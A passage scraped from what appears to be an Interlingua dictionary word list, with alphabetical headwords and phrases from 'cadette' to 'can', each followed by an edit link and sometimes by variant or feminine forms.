deModificar cadetteModificar cadette(s) adj masc cadettoModificar cadiModificar cadi [le caditaModificar cadita de AdamModificar cadita de bicyclettaModificar cadita de capillosModificar cadita de cavalloModificar cadita de foliosModificar cadita de fulmineModificar cadita de niveModificar cadita de pluviaModificar cadita de scalaModificar cadita de \/ del tensionModificar cadita de \/ de_la tension cadita del bursaModificar cadita de la bursa cadita del dollarModificar cadita del governamentoModificar cadita del Imperio RomanModificar cadita del Imperio Romano cadita del temperaturaModificar cadita de la temperatura cadita in le peccatoModificar cadita libereModificar cadita libere \/ libera cadita mortalModificar cadita pluvialModificar cadita radioactiveModificar cadita radioactiva cadita spectacularModificar cadmiarModificar cadmiaturaModificar cadmicModificar cadmico(s) \/ cadmica(s) cadmifereModificar cadmifero(s) \/ cadmifera(s) cadmiumModificar caducModificar caduco(s) \/ caduca(s) caduceoModificar caducitateModificar café [F]Modificar café artisticModificar café artistico café de jocatores de chacosModificar café litterariModificar café litterario café nocturneModificar café nocturno cafeteriaModificar caffeModificar caffe (ben) sucrateModificar caffe (ben) sucrato caffe con cremaModificar caffe con lacteModificar caffe concentrateModificar caffe concentrato caffe de cantinaModificar caffe de JavaModificar caffe de maltModificar caffe decaffeinateModificar caffe decaffeinato caffe del tertie mundoModificar caffe del tertio mundo caffe espressoModificar caffe filtrateModificar caffe filtrato caffe filtroModificar caffe forteModificar caffe glaciateModificar caffe glaciato caffe in granosModificar caffe in pulvereModificar caffe instantaneeModificar caffe instantaneo caffe legierModificar caffe legiero caffe nigreModificar caffe nigro caffe (non) torrefaciteModificar caffe (non) torrefacito caffe percolateModificar caffe percolato caffe solubileModificar caffe turcModificar caffe turco caffe verdeModificar caffeieroModificar caffeinaModificar caffeteroModificar caffetieraModificar caffetiera a filtroModificar caffetiera electricModificar caffetiera electrica cafreModificar cafre [le CafreriaModificar caftanModificar caftan [le caidModificar caid [le caimanModificar caiman [le CainModificar CaiphasModificar caiqueModificar caique [le cairn [A]Modificar cairotaModificar cairota adj, sub [le \/ la caisson [F]Modificar caisson flottanteModificar cake [A]Modificar cake al fructosModificar cake-walk [A}Modificar cakileModificar cakile [la cakile maritimeModificar cakile maritima calaModificar cala de bagageModificar cala frigorificModificar cala frigorifica cala refrigerateModificar cala refrigerata calabaza [E]Modificar calabreseModificar calabrese(s) \/ clabresa(s) [adj, sub] calabrosaModificar calabrosa aquaticModificar calabrosa aquatica calamagrostisModificar calamagrostis [la calamagrostis lanceolateModificar calamagrostis lanceolata calamarModificar calamar [le calamelloModificar calaminaModificar calaminthaModificar calamitateModificar calamitate naturalModificar calamitate natural calamitoseModificar calamitoso(s) \/ calamitosa(s) calamoModificar calampelisModificar calampelis [la calandoModificar calando adv Mus calandraModificar calandra a \/ de frictionModificar calandra a \/ de satinarModificar calandrageModificar calandrarModificar calandratorModificar calaoModificar calcaneoModificar calcarModificar calcar al pedesModificar calcar a los pedes calcar in le reteModificar calcar in la rete calcar un designoModificar calcareeModificar calcareo(s) \/ calcarea(s) calcariModificar calcario(s) \/ calcaria(s) calcarioModificar calcario bituminoseModificar calcario bituminoso calcario carbonifereModificar calcario carbonifero calcario conchyfereModificar calcario conchyfero calcario corallinModificar calcario corallino calcario de coralloModificar calcario fossilifereModificar calcario fossilifero calcario lapponicModificar calcario lapponico calcario marnoseModificar calcario marnoso calcario nivalModificar calcatorModificar calce (Anat)Modificar calce [le calce (Miner)Modificar calce [la calce agricoleModificar calce agricola calce agriculturalModificar calce artificialModificar calce de AchillesModificar calce de conchasModificar calce de morteroModificar calce discarbonatateModificar calce discarbonatata calce extincteModificar calce extincta calce in pulvereModificar calce magreModificar calce magra calce morteModificar calce morta calce ostreicoleModificar calce ostreicola calce siliceeModificar calce silicea calce viveModificar calce viva calceaModificar calcea blauModificar calcea blau calcea dismaliateModificar calcea dismaliata calcea elasticModificar calcea elastica calcear (se)Modificar calceas de nylonModificar calcea(s) de supraModificar calceas indismaliabileModificar calceas indismaliabiles calceas pro guttososModificar calceateModificar calceato(s) \/ calceata(s) calceatorModificar calceaturaModificar calceiformeModificar calceiforme(s) calcemiaModificar calceoModificar calceo a lacettoModificar calceo a punctasModificar calceo a solea orthopedicModificar calceo a solea orthopedica calceo a talon alteModificar calceo a talon alto calceo a talon platteModificar calceo a talon platto calceo al mesuraModificar calceo a la mesura calceo basseModificar calceo basso calceo con clavosModificar calceo de balloModificar calceo de banioModificar calceo de dansaModificar calceo de feminaModificar calceo de footballModificar calceo de gymnasticaModificar calceo de homineModificar calceo de infanteModificar calceo de joggingModificar calceo de lignoModificar calceo de patinModificar calceo(s) de skiModificar calceo de sportModificar calceo(s) de tennisModificar calceo facite al mesuraModificar calceo facito a la mesura calceo orthopedicModificar calceo orthopedico calceo punctate \/ punctuteModificar calceo punctato \/ punctato calceo sportiveModificar calceo sportivo calceolariaModificar calceolateModificar calceolato(s) \/ calceolata(s) calceoloModificar calceonesModificar calceones de banioModificar calceonettasModificar calceos commodeModificar calceos commodos calceos confortabileModificar calceos confortabiles calceos de montaniaModificar calceos deformateModificar calceos deformatos calceriaModificar calceroModificar calcettaModificar calcetta de sportModificar calcettas de nylonModificar calcetteriaModificar calcetteroModificar calcicModificar calcico(s) \/ calcica(s) calcicoleModificar calcicolo(s) \/ calcicola(s) calcifereModificar calcifero(s) \/ calcifera(s) calcificarModificar calcificationModificar calcifugeModificar calcifugo(s) \/ calcifuga(s) calcimetriaModificar calcimetroModificar calcinarModificar calcinationModificar calcinatoriModificar calcinatorio(s) \/ calcinatoria(s) calcinose = calcinosisModificar calciteModificar calcitherapiaModificar calciumModificar calciuriaModificar calcoModificar calcula con tres horas de retardamentoModificar calcula con tres horas de retardoModificar calculabileModificar calculabile(s) calculabilitateModificar calcularModificar calcular approximativementeModificar calcular approximativamente calcular in florinosModificar calcular le costosModificar calcular los costos calcular le integralModificar calcular la integral calcular le mediaModificar calcular la media calcular mentalmenteModificar calcular per approximationModificar calculationModificar calculation del costosModificar calculation de los costos calculation del rentabilitateModificar calculation de la rentabilitate calculation posteriorModificar calculation subsequenteModificar calculatorModificar calculator analogeModificar calculator analogo calculator analogicModificar calculator analogico calculator de tascaModificar calculator digitalModificar calculator electronicModificar calculator electronico calculoModificar calculo approximativeModificar calculo approximativo calculo arithmeticModificar calculo arithmetico calculo biliarModificar calculo combinatoriModificar calculo combinatorio calculo correlativeModificar calculo correlativo calculo cysticModificar calculo cystico calculo de avariaModificar calculo de commissionModificar calculo de probabilitateModificar calculo del costosModificar calculo de los costos calculo del preciosModificar calculo de los precios calculo del probabilitatesModificar calculo de las probabilitates calculo del rentabilitateModificar calculo de la rentabilitate calculo del salariosModificar calculo de los salarios calculo del variationesModificar calculo de las variationes calculo differentialModificar calculo erroneeModificar calculo erroneo calculo facileModificar calculo finalModificar calculo functionalModificar calculo inexacteModificar calculo inexacto calculo infinitesimalModificar calculo ingenioseModificar calculo ingenioso calculo integralModificar calculo intestinalModificar calculo logarithmicModificar calculo logarithmico calculo matricialModificar calculo mentalModificar calculo numericModificar calculo numerico calculo previsionalModificar calculo renalModificar calculo tensorialModificar calculo urinariModificar calculo urinario calculo vectorialModificar calculo vesicalModificar calculos algorithmicModificar calculos algorithmicos calculos pancreaticModificar calculos pancreaticos calculoseModificar calculoso(s) \/ calculosa(s) calculosoModificar caldarioModificar caldeModificar caldo(s) \/ calda(s) calderaModificar caldieraModificar caldiera a \/ de vaporModificar caldiera a \/ de vapor caldiera de calefaction (central)Modificar caldiera de catranModificar caldiera de distillationModificar caldiera de lavandaModificar caldiera de sterilisationModificar caldiera de sterilization caldiera de tannoModificar caldiera de un locomotivaModificar caldiera de una locomotiva caldiera multitubularModificar caldiera (sub) pressionModificar caldiera pro calefactionModificar caldiera tubularModificar caldierataModificar caldiereriaModificar caldiereroModificar caldierettaModificar caldieronModificar caleche [F]Modificar CaledoniaModificar caledonianModificar caledoniano(s) \/ caledoniana(s) caledonianoModificar calefaceaquaModificar calefaceaqua [le \/ los calefacebiberonModificar calefacebiberon [le \/ los calefaceliquidosModificar calefaceliquidos [le \/ los calefaceovo(s)Modificar calefaceovo(s) [le \/ los calefacepedesModificar calefacepedes [le \/ los calefaceplattosModificar calefaceplattos [le \/ los calefacerModificar calefacer le lacteModificar calefacer se le manosModificar calefacer se las manos calefacienteModificar calefaciente(s) calefactionModificar calefaction a \/ de \/ per gasModificar calefaction a \/ de \/ per vaporModificar calefaction al aqua caldeModificar calefaction a la aqua calda calefaction al aqua calideModificar calefaction a la aqua calida calefaction centralModificar calefaction del ecclesiaModificar calefaction de la ecclesia calefaction del parabrisaModificar calefaction per le solModificar calefaction per le soloModificar calefaction urbanModificar calefaction urbana calefactorModificar calefactor a \/ de alcoholModificar calefactor de banioModificar calefactor de plattoModificar calefactorioModificar calembour [F]Modificar calendarioModificar calendario a blocoModificar calendario a folios mobileModificar calendario a folios mobiles calendario artisticModificar calendario artistico calendario botanicModificar calendario botanico calendario christianModificar calendario christiano calendario de muroModificar calendario de tascaModificar calendario del plantasModificar calendario de las plantas calendario ephemerideModificar calendario gregorianModificar calendario gregoriano calendario israelitaModificar calendario julianModificar calendario juliano calendario liturgicModificar calendario liturgico calendario lunarModificar calendario lunisolarModificar calendario mensualModificar calendario muralModificar calendario perpetualModificar calendario perpetual calendario perpetueModificar calendario perpetuo calendario republicanModificar calendario republicano calendario solarModificar calendario sportiveModificar calendario sportivo calendaristaModificar calendasModificar calendas [las calendulaModificar calendula arvenseModificar calepinaModificar calerModificar caler vb calfatageModificar calfatarModificar calfatar un via de aquaModificar calfatar una via de aqua calfatatorModificar calibrarModificar calibrationModificar calibratorModificar calibreModificar calibre de referentiaModificar calibre de referimentoModificar caliceModificar calice de dolorModificar calice de venenoModificar calice dialypetaleModificar calice dialypetalo caliciflorModificar caliciflor(es) caliciformeModificar caliciforme(s) calicivirose = calicivirosisModificar calicoModificar caliculoModificar calideModificar calido(s) \/ calida(s) calidemente recommendateModificar calidamente recommendato(s) \/ recommendata(s) califaModificar califatoModificar CaliforniaModificar californianModificar californiano(s) \/ californiana(s) californianoModificar californiumModificar caligineModificar caligine [la caliginoseModificar caliginoso(s) \/ caliginosa(s) callaModificar call-girl [A]Modificar callicidaModificar callicida [le \/ la calliergonellaModificar calliergonella cuspidateModificar calliergonella cuspidata callifugoModificar calligrammaModificar calligraphiaModificar calligraphia chineseModificar calligraphia chinesa calligraphia de homineModificar calligraphiarModificar calligraphiar un litteraModificar calligraphiar una littera calligraphicModificar calligraphico(s) \/ calligraphica(s) calligraphoModificar calliphoraModificar callistaModificar callitrichaceasModificar caliitricheModificar callitriche [la callitriche obtusanguleModificar callitriche obtusangula calloModificar calloseModificar calloso(s) \/ callosa(s) callositateModificar callositate sub le pedeModificar callunaModificar calmaModificar calma admirabileModificar calma imperturbabileModificar calma inalterabileModificar calma interiorModificar calma olympieModificar calma olympia calmanteModificar calmante adj, sub [le calmarModificar calmar le spiritos excitateModificar calmar los spiritos excitatos calmar un disputaModificar calmar una disputa calmar un querelaModificar calmar una querela calmeModificar calmo(s) \/ calma(s) calmodulinaModificar caloceraModificar calocera viscoseModificar calocera viscosa calomelModificar calomel [le calorModificar calor animalModificar calor asphyxianteModificar calor canicularModificar calor corporalModificar calor corporeeModificar calor corporeo calor de condensationModificar calor de disintegrationModificar calor de dissolutionModificar calor de estufaModificar calor de fusionModificar calor de mixtionModificar calor de radiationModificar calor de solidificationModificar calor de solutionModificar calor de vaporisationModificar calor de vaporization calor del corporeModificar calor del nidoModificar calor del postmeridieModificar calor del solModificar calor del tropicosModificar calor de los tropicos calor extenuanteModificar calor febrilModificar calor geothermicModificar calor geothermico calor horribileModificar calor humideModificar calor humido calor incommodanteModificar calor infernalModificar calor intolerabileModificar calor latenteModificar calor massicModificar calor massico calor moderateModificar calor moderato calor mortalModificar calor oppressiveModificar calor oppressivo calor radianteModificar calor residuariModificar calor residuario calor sicModificar calor sico calor solarModificar calor specificModificar calor specifico calor suffocanteModificar calor terrificModificar calor terrifico calor tremendeModificar calor tremendo calor tropicalModificar calor vitalModificar calor vivificante del solModificar caloriaModificar caloricModificar calorico(s) \/ calorica(s) calorifereModificar calorifero(s) \/ calorifera(s) caloriferoModificar calorificModificar calorifico(s) \/ calorifica(s) calorificarModificar calorificationModificar calorifugeModificar calorifugo(s) \/ calorifuga(s) calorimetriaModificar calorimetricModificar calorimetrico(s) \/ calorimetrica(s) calorimetroModificar caloroseModificar caloroso(s) \/ calorosa(s) calotte [F]Modificar calotte glaciariModificar calotte glaciaria calotte nigre del prestreModificar calotte nigra del prestre calthaModificar caltha palustreModificar caltha palustre calumetModificar calumet [le calumniaModificar calumnia infameModificar calumnia odioseModificar calumnia odiosa calumniabileModificar calumniabile(s) calumniarModificar calumniationModificar calumniatorModificar calumniatoriModificar calumniatorio(s) \/ calumniatoria(s) calumnioseModificar calumnioso(s) \/ calumniosa(s) calvadosModificar calvados [los CalvarioModificar calvarioModificar calveModificar calvo(s) \/ calva(s) Calvin, JeanModificar calvinismoModificar calvinistaModificar calvinista rigoristaModificar calvinisticModificar calvinistico(s) \/ calvinistica(s) calvitiaModificar calvitia incipienteModificar calvitia precoceModificar calycanthaceasModificar calycanthoModificar calypsoModificar camarilla [E]Modificar cambaroModificar cambiabileModificar cambiabile(s) cambiadiscosModificar cambiadiscos [le \/ los cambialModificar cambial(es) cambiamentoModificar cambiamento bruscModificar cambiamento brusco cambiamento de adresseModificar cambiamento de climateModificar cambiamento de colorModificar cambiamento de directionModificar cambiamento de governamentoModificar cambiamento de nomineModificar cambiamento de pelleModificar cambiamento de poterModificar cambiamento de sexoModificar cambiamento de temperaturaModificar cambiamento de tonoModificar cambiamento de velocitate(s)Modificar cambiamento del mareaModificar cambiamento de la marea cambiamento del temporeModificar cambiamento imperceptibileModificar cambiamento improvise del pensamentoModificar cambiamento improviso del pensamento cambiamento in chrysalideModificar cambiamento in pupaModificar cambiamento progressiveModificar cambiamento progressivo cambiamento remarcabileModificar cambiamento subiteModificar cambiamento subito cambianteModificar cambiante(s) cambiarModificar cambiar de autobusModificar cambiar de berillosModificar cambiar de calceosModificar cambiar de cappelloModificar cambiar de casaModificar cambiar de colorModificar cambiar de comportamentoModificar cambiar de conductaModificar cambiar de discoModificar cambiar de domicilioModificar cambiar de domoModificar cambiar de habitationModificar cambiar de ideaModificar cambiar de lectoModificar cambiar de manosModificar cambiar de medicoModificar cambiar de opinionModificar cambiar de pelleModificar cambiar de pensamentoModificar cambiar de placia con un personaModificar cambiar de placia con una persona cambiar de posturaModificar cambiar de pottoModificar cambiar de proprietarioModificar cambiar de rhumboModificar cambiar de scarpasModificar cambiar de tacticaModificar cambiar de trainoModificar cambiar de vehiculoModificar cambiar de velocitateModificar cambiar de vestimento(s)Modificar cambiar in florinosModificar cambiar le collocation del librosModificar cambiar la collocation de los libros cambiar le direction del timonModificar cambiar la direction del timon cambiar le dubitas in certitudeModificar cambiar las dubitas in certitude cambiar le fasciaModificar cambiar la fascia cambiar le oleoModificar cambiar le rota de un auto \/ automobileModificar cambiar la rota de un auto \/ automobile cambiar monetaModificar cambiar seModificar cambiar se in chrysalideModificar cambiar se in pupaModificar cambiar su scripturaModificar cambiar su vitaModificar cambiar su voceModificar cambiar un aguliaModificar cambiar una agulia cambiar un cosa per incantamentoModificar cambiar una cosa per incantamento cambiar un fusibileModificar cambiar un pneuModificar cambiar un rotaModificar cambiar una rota cambiatorModificar cambiator automaticModificar cambiator automatico cambiator automatic de discosModificar cambiator automatico de discos cambiator de calorModificar cambiator de cassettasModificar cambiator de discos (stereophonic)Modificar cambiator de discos (stereophonico) cambiator de ionesModificar cambiator ionicModificar cambiator ionico cambioModificar cambio accentualModificar cambio al parModificar cambio atmosphericModificar cambio atmospherico cambio bruscModificar cambio brusco cambio conjuncturalModificar cambio de casaModificar cambio de climateModificar cambio de domicilioModificar cambio de domoModificar cambio de formaModificar cambio de fronteModificar cambio de governamentoModificar cambio de guardaModificar cambio de gustoModificar cambio de nomineModificar cambio de personasModificar cambio de structuraModificar cambio de velocitateModificar cambio del mareaModificar cambio de la marea cambio del rubloModificar cambio disfavorabileModificar cambio fascicularModificar cambio imperceptibileModificar cambio interfascicularModificar cambio pro le meliorModificar cambio pro le pejorModificar cambios autogeneModificar cambios autogeno cambistaModificar Cambodgia {dja}Modificar cambodgian {djan}Modificar cambodgiano(s) \/ cambodgiana(s) cambodgianoModificar cambrianModificar cambriano(s) \/ cambriana(s) cambrianoModificar cambusaModificar cambuseroModificar camcorder [A]Modificar cameleroModificar camelinaModificar camelina dentateModificar camelina dentata camelliaModificar cameloModificar camelo neonateModificar camelotModificar camelot [le camembert [F]Modificar cameoModificar cameraModificar camera a \/ de aereModificar camera a bullasModificar camera a dormirModificar camera a duo lectosModificar camera a duos lectos camera a \/ de gasModificar camera a \/ de mangiarModificar camera a panoramaModificar camera a \/ de torturaModificar camera a un lectoModificar camera ampleModificar camera ampla camera annexeModificar camera annexa camera anteriorModificar camera blindateModificar camera blindata camera branchialModificar camera cinematographicModificar camera cinematographica camera con exposimetro incorporateModificar camera con exposimetro incorporato camera con fenestra salienteModificar camera con jentaculoModificar camera con jentarModificar camera contigueModificar camera contigua camera cuirassateModificar camera cuirassata camera de adolescenteModificar Camera de AgriculturaModificar camera de antiqualiasModificar camera de audientiaModificar camera de avanteModificar camera de banioModificar camera de biliardoModificar camera de cartasModificar camera de classificationModificar camera de combustionModificar Camera de CommercioModificar Camera de Commercio e IndustriaModificar Camera de Commercio et Industria Camera de CompensationModificar camera de compressionModificar camera de conciergeModificar camera de consilioModificar camera de controloModificar camera de decompressionModificar camera de delivrantiaModificar Camera de \/ del DeputatosModificar Camera de \/ de_los Deputatos camera de detraModificar camera de diffusionModificar camera de esclusaModificar camera de facultateModificar camera de fermentationModificar camera de \/ pro grande formatoModificar camera de horroresModificar camera de hotelModificar camera de ionisationModificar camera de ionization camera de isolamentoModificar camera de laborModificar camera de lectoModificar camera de linoModificar camera de machinasModificar camera de maladoModificar camera de nebulaModificar camera de oxygenoModificar Camera de ParesModificar camera de partoModificar camera de parturitionModificar camera de \/ pro parve formatoModificar camera de porteroModificar camera de \/ del puerperaModificar camera de \/ de_la puerpera Camera de \/ del RepresentantesModificar Camera de \/ de_los Representantes camera de residuosModificar camera de restosModificar camera de rhetoricaModificar camera de servitriceModificar camera de studente \/ studianteModificar camera de teenagerModificar camera de televisionModificar camera de travalioModificar Camera del CommunesModificar Camera de los Communes camera del docentesModificar camera de los docentes Camera del LordsModificar Camera de los Lords camera del machina(s)Modificar camera de la(s) machina(s) camera forteModificar camera frigideModificar camera frigida camera frigorifereModificar camera frigorifera camera frigorificModificar camera frigorifica camera funerariModificar camera funeraria camera in fundo del corridorModificar camera in un turreModificar camera in una turre camera individualModificar camera invisibileModificar camera lateralModificar camera mal aerateModificar camera mal aerata camera mobilateModificar camera mobilata camera mortuariModificar camera mortuaria camera nigreModificar camera nigra camera nuptialModificar camera obscurModificar camera obscura camera occulteModificar camera occulta camera operatoriModificar camera operatoria camera pallealModificar camera plicabileModificar camera plicanteModificar camera posteriorModificar camera privateModificar camera privata camera pro duo personasModificar camera pro duas personas camera pro le photographia marinModificar camera pro la photographia marina camera pro un personaModificar camera pro una persona camera reflexeModificar camera reflexa camera refrigerateModificar camera refrigerata camera resonanteModificar camera separateModificar camera separata camera sin calefactionModificar camera stereoscopicModificar camera stereoscopica camera submarinModificar camera submarina camera tapissateModificar camera tapissata camera videoModificar camera-cocinaModificar cameradaModificar camerada de classeModificar camerada de jocoModificar cameraderiaModificar cameraman pl cameramen [A]Modificar camereraModificar camereroModificar camerettaModificar camerlingoModificar CamerunModificar cameruneseModificar camerunese(s) \/ camerunesa(s) caminoModificar camino de fabricaModificar camionModificar camion a remolcoModificar camion basculanteModificar camion cisternaModificar camion de dece tonnasModificar camion del lacteroModificar camion dieselModificar camion frigorificModificar camion frigorifico camion grueModificar camion malaxatorModificar camion refrigerateModificar camion refrigerato camion refrigeratoriModificar camion refrigeratorio camionageModificar camionataModificar camioneroModificar camionettaModificar camionistaModificar camisaModificar camisa a collar aperteModificar camisa a collar aperto camisa amidateModificar camisa amidata camisa de aquaModificar camisa de cylindroModificar camisa de flanellaModificar camisa de fortiaModificar camisa de fracModificar camisa de infanteModificar camisa de maliasModificar camisa de microscopioModificar camisa de nocteModificar camisa de sportModificar camisa de tricotModificar camisa de un fusilModificar camisa jalneModificar camisa jalne \/ jalna camisa refrigeranteModificar camisa scoutModificar camisa sportiveModificar camisa sportiva camisas brunModificar camisas brunas camisas nigreModificar camisas nigras camisas rubieModificar camisas rubias camiseriaModificar camiseroModificar camisettaModificar camisetta de lanaModificar camisolaModificar camisola de corsetModificar cammaModificar camma de arboreModificar camma platteModificar camma platta camminarModificar camminataModificar camminatorModificar camminator infatigabileModificar camminoModificar cammino a \/ de senso unicModificar cammino a \/ de sensos separateModificar cammino a \/ de sensos separatos cammino arenaceeModificar cammino arenaceo cammino argillaceeModificar cammino argillaceo cammino argilloseModificar cammino argilloso cammino asphaltateModificar cammino asphaltato cammino betonateModificar cammino betonato cammino caveModificar cammino cavo cammino centralModificar cammino circumferentialModificar cammino costariModificar cammino costario cammino de accessoModificar cammino de arenaModificar cammino de argillaModificar cammino de betonModificar cammino de briccasModificar cammino de campaniaModificar cammino de cincturaModificar cammino de cinereModificar cammino de clinkersModificar cammino de conchasModificar Cammino de \/ del CruceModificar Cammino de \/ de_la Cruce cammino de deviationModificar cammino de entrataModificar cammino de ferroModificar cammino de invasionModificar cammino de montaniaModificar cammino de pedageModificar cammino de precedentiaModificar cammino de remolcageModificar cammino de retornoModificar cammino de sabloModificar cammino de terraModificar cammino de transversaModificar cammino del perditionModificar cammino de la perdition cammino del stationModificar cammino de la station cammino del virtuteModificar cammino de la virtute cammino del vitaModificar cammino de la vita cammino del vitioModificar cammino fangoseModificar cammino fangoso cammino forestalModificar cammino furcateModificar cammino furcato cammino glissante!Modificar cammino impervieModificar cammino impervio cammino impracticabileModificar cammino in zigzagModificar cammino interiorModificar cammino lateralModificar cammino macadamisateModificar cammino macadamizato cammino montanteModificar cammino municipalModificar cammino nationalModificar cammino parallelModificar cammino parallelo cammino pedestreModificar cammino perimetralModificar cammino practicabileModificar cammino principalModificar cammino prioritariModificar cammino prioritario cammino pro automobilesModificar cammino pro cavallerosModificar cammino publicModificar cammino publico cammino ruralModificar cammino scabroseModificar cammino scabroso cammino scarpateModificar cammino scarpato cammino secundariModificar cammino secundario cammino serpentinModificar cammino serpentino cammino sinuoseModificar cammino sinuoso cammino subsidiariModificar cammino subsidiario cammino super le dicaModificar cammino super la dica cammino tortuoseModificar cammino tortuoso cammino traciateModificar cammino traciato cammino transversalModificar cammino transverseModificar cammino transverso cammino vicinalModificar camminos inexplorateModificar camminos inexplorato camoceModificar camoce [le \/ la camoce femininModificar camoce feminino \/ feminina camoce masculeModificar camoce masculo \/ mascula camociarModificar camociar vb camomillaModificar camomilla fetideModificar camomilla fetida camomilla putenteModificar camorra [I]Modificar camorristaModificar camouflage [F]Modificar camouflarModificar camouflar un faltaModificar camouflar una falta campalModificar campal(es) campamentoModificar campamento de estateModificar campamento de tentasModificar campamento de tsiganosModificar campanaModificar campana a \/ de caseoModificar campana a mortoModificar campana a \/ de tortaModificar campana antifurtoModificar campana de alarmaModificar campana de carillonModificar campana de \/ del ecclesiaModificar campana de \/ de_la ecclesia campana de immersionModificar campana de incendioModificar campana de magazinModificar campana(s) de NatalModificar campana de scholaModificar campana de vitroModificar campana funebreModificar campanariModificar campanario(s) \/ campanaria(s) campanarioModificar campaneroModificar campanettaModificar campanetta de cocinaModificar campanetta del presidenteModificar campanetta presidentialModificar campanetto de tabulaModificar campaniaModificar campania antirheumaticModificar campania antirheumatica campania antitabacoModificar campania antituberculoseModificar campania calumniatoriModificar campania calumniatoria campania de calumniasModificar campania de conquestaModificar campania de diffamationModificar campania de mendaciosModificar campania de mentitasModificar campania de murmurationModificar campania de pressaModificar campania de primaveraModificar campania de propagandaModificar campania de publicitateModificar campania de reclamoModificar campania de recrutamentoModificar campania de signaturasModificar campania denigratoriModificar campania denigratoria campania diffamatoriModificar campania diffamatoria campania electoralModificar campania politicModificar campania politica campania primaveralModificar campania pro le extermination de insectosModificar campania pro la extermination de insectos campania promotionalModificar campania publicitariModificar campania publicitaria campania suburbanModificar campania suburbana campaniflorModificar campaniflor(es) campaniformeModificar campaniforme(s) campanilModificar campanil coronate de aguliaModificar campanil coronato de agulia campaniolModificar campaniol [le campanologiaModificar campanologicModificar campanologico(s) \/ campanologica(s) campanologistaModificar campanologoModificar campanulaModificar campanula glomerateModificar campanula glomerata campanula isophylleModificar campanula isophylla campanula persicifolieModificar campanula persicifolia campanula pyramidalModificar campanula rhomboidalModificar campanula rotundifolieModificar campanula rotundifolia campanulaceasModificar campanulaceeModificar campanulaceo(s) \/ campanulacea(s) campanulateModificar campanulato(s) \/ campanulata(s) camparModificar campatorModificar campator con auto \/ automobileModificar campator con bicyclettaModificar campestreModificar campestre(s) campettoModificar camphoraModificar camphora pulverisateModificar camphora pulverizata camphorarModificar camphorateModificar camphorato(s) \/ camphorata(s) camphoratoModificar camphoricModificar camphorico(s) \/ camphorica(s) camphorieroModificar camphorifereModificar camphorifero(s) \/ camphorifera(s) campimetriaModificar campimetroModificar camping [A]Modificar camping completeModificar camping completo camping de castelloModificar camping de \/ pro naturistasModificar camping de \/ pro nudistasModificar camping pro caravanasModificar campionModificar campion cyclisticModificar campion cyclistico campion de athletismoModificar campion de autumnoModificar campion de badmintonModificar campion de boxaModificar campion de chacosModificar campion de cyclismoModificar campion de districtoModificar campion de footballModificar campion de natationModificar campion de patinageModificar campion de periodoModificar campion de pingpongModificar campion de poloModificar campion de schermaModificar campion de skiModificar campion de speedwayModificar campion de tennis (indoor)Modificar campion de tiroModificar campion del libertateModificar campion de la libertate campion del mundoModificar campion europeeModificar campion europeo campion mundialModificar campion nationalModificar campion olympicModificar campion olympico campion provincialModificar campionato aperteModificar campionato aperto campionato de athletismoModificar campionato de autumnoModificar campionato de badmintonModificar campionato de boxaModificar campionato de chacosModificar campionato de cyclismoModificar campionato de districtoModificar campionato de footballModificar campionato de natationModificar campionato de patinageModificar campionato de periodoModificar campionato de pingpongModificar campionato de poloModificar campionato de schermaModificar campionato de skiModificar campionato de speedwayModificar campionato de tennis (indoor)Modificar campionato de tiroModificar campionato del mundoModificar campionato europeeModificar campionato europeo campionato mundialModificar campionato nationalModificar campionato olympicModificar campionato olympico campionato provincialModificar campoModificar campo arabileModificar campo arateModificar campo arato campo aurifereModificar campo aurifero campo coercitiveModificar campo coercitivo campo de actionModificar campo de avenaModificar campo de aviationModificar campo de barracasModificar campo de battaliaModificar campo de beduinesModificar campo de bulbosModificar campo de caulesModificar campo de cerealesModificar campo de colzaModificar campo de commercioModificar campo de concentrationModificar campo de concessionModificar campo de cotonModificar campo de cricketModificar campo de cursaModificar campo de essayosModificar campo de experimentationModificar campo de exterminationModificar campo de fenoModificar campo de feriaModificar campo de firnModificar campo de flores (a bulbo)Modificar campo de footballModificar campo de fortiasModificar campo de fragasModificar campo de frumentoModificar campo de garanciaModificar campo de gas naturalModificar campo de glacieModificar campo de golfModificar campo de gravitationModificar campo de hockeyModificar campo de honorModificar campo de hordeoModificar campo de hyacinthosModificar campo de instructionModificar campo de interesseModificar campo de internamentoModificar campo de investigationModificar campo de joco(s)Modificar campo de juvenesModificar campo de laborModificar campo de liliosModificar campo de linoModificar campo de lupuloModificar campo de maisModificar campo de mesuraModificar campo de minasModificar campo de narcissosModificar campo de niveModificar campo de \/ pro nudistasModificar campo de paradaModificar campo de patatasModificar campo de patibulosModificar campo de prisionerosModificar campo de proba \/ provaModificar campo de rapasModificar campo de recercasModificar campo de refugiatosModificar campo de risModificar campo de rubiaModificar campo de safranModificar campo de secaleModificar campo de speltaModificar campo de spergulaModificar campo de sport(s)Modificar campo de stupulasModificar campo de sucroModificar campo de tabacoModificar campo de tennisModificar campo de tensionModificar campo de tentasModificar campo de tiroModificar campo de transitoModificar campo de travalioModificar campo de trifolioModificar campo de triticoModificar campo de tsiganosModificar campo de tulipanesModificar campo de tulipasModificar campo de un antennaModificar campo de una antenna campo de un lenteModificar campo de una lente campo de un medaliaModificar campo de una medalia campo de urnasModificar campo de vacantiasModificar campo de vectoresModificar campo de visibilitateModificar campo de visionModificar campo del arteModificar campo de la arte campo del imagineModificar campo de la imagine campo del morteModificar campo de la morte campo del operationModificar campo de la operation campo del operationesModificar campo de las operationes campo del scientiaModificar campo de la scientia campo disciplinariModificar campo disciplinario campo electricModificar campo electrico campo electromagneticModificar campo electromagnetico campo electrostaticModificar campo electrostatico campo gasifereModificar campo gasifero campo gravitationalModificar campo infertileModificar campo inhomogeneModificar campo inhomogeno campo lexicalModificar campo magneticModificar campo magnetico campo minateModificar campo minato campo notionalModificar campo penitentiariModificar campo penitentiario campo petrolifereModificar campo petrolifero campo pulsatoriModificar campo pulsatorio campo radioactiveModificar campo radioactivo campo scalarModificar campo scholarModificar campo semanticModificar campo semantico campo seminateModificar campo seminato campo sportiveModificar campo sportivo campo vectorialModificar campo vectorial solenoidalModificar campo visiveModificar campo visivo campo visualModificar campus [L]Modificar canModificar can [le can antidroga(s)Modificar can bastardeModificar can bastardo can bologneseModificar can de avalancheModificar can de catenaModificar can de cecoModificar can de chassaModificar can de chassa muteModificar can de chassa muto can de fermaModificar can de guardaModificar can de pastorModificar can de raciaModificar can de Sancte BernardoModificar can de Sancto Bernardo can de taxonModificar can de tractoModificar can del terra noveModificar can de la terra nova can erranteModificar can eschimeseModificar can eschimoModificar can guidaModificar can guida pro cecosModificar can innocueModificar can innocuo can inoffensiveModificar can inoffensivo can intelligenteModificar can lupinModificar can lupino can 